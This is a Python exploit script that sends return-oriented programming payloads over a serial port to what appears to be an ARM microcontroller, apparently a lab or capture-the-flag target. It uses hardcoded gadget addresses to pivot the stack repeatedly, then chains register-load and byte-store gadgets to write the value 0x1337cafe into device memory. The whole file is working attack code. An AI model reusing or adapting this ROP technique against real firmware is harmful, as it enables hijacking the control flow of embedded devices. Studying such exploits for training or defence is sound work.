import struct
import serial
import time


s = serial.Serial('/dev/ttyACM0', 115200)


def slow_write(byte_array):
    """
    Write the byte array over the serial port, waiting briefly inbetween bytes.
    """
    for b in byte_array:
        b = b.to_bytes(1, byteorder='big')
        s.write(b)
        time.sleep(0.01)


def shift_stack_down(sp):
    """
    Use a ROP chain to execute assignment_rop with a stack that has slightly more space (16 bytes more)
    Pass the address of the stack pointer at original function entry.
    """

    buf = b'r7r7\x25\x34\x00\x08' # data for pop {r7, pc} in gadget. jumps back to assignment_rop.
    buf += b'ffffffff' # padding
    buf += struct.pack('<I', sp - 0x28) # r7, which is new_sp - 0x18 (so new_sp = sp - 0x10)
    buf += b'\x3f\x34\x00\x08' # address of gadget (mov sp, r7; add sp, #0x10; pop {r7, pc})

    # end of input
    buf += b'\r'

    slow_write(buf)


def generate_reg_init_stack(addr, byte):
    """ Generate the stack data required for the pop {r3-r7, pc} gadget. """
    r3_byte = bytes([byte]) + b'XXX'
    r4 = struct.pack("<I", addr)
    pad = b'r5r5r6r6r7r7'
    pc = b'\xd5\x00\x00\x08' # store gadget

    return r3_byte + r4 + pad + pc


def gen_store_stack(target):
    """ Generate the stack data required for the strb r3, [r4]; pop {r4, pc} gadget. """
    return b'r4r4' + struct.pack('<I', target)


def main():
    orig_sp = 0x20023fd8

    # Shift the stack down 256 bytes.
    for i in range(0, 0x100, 0x10):
        shift_stack_down(orig_sp - i)

    # Generate a ROP chain to write 0x1337cafe to addr_base using the init
    # and store gadgets.
    addr_base = 0x200001f8
    rop_chain = b'ffffffffffffffffr7r7\x95\x1b\x00\x08'

    addr = addr_base

    magic_val = b'\xfe\xca\x37\x13'
    for i, byte in enumerate(magic_val):
        rop_chain += generate_reg_init_stack(addr, byte)
        if (i != 3):
            rop_chain += gen_store_stack(0x08001b95)
        else:
            rop_chain += gen_store_stack(0x080034a5)
        addr += 1

    rop_chain += b'\r'

    slow_write(rop_chain)


if __name__ == '__main__':
    main()
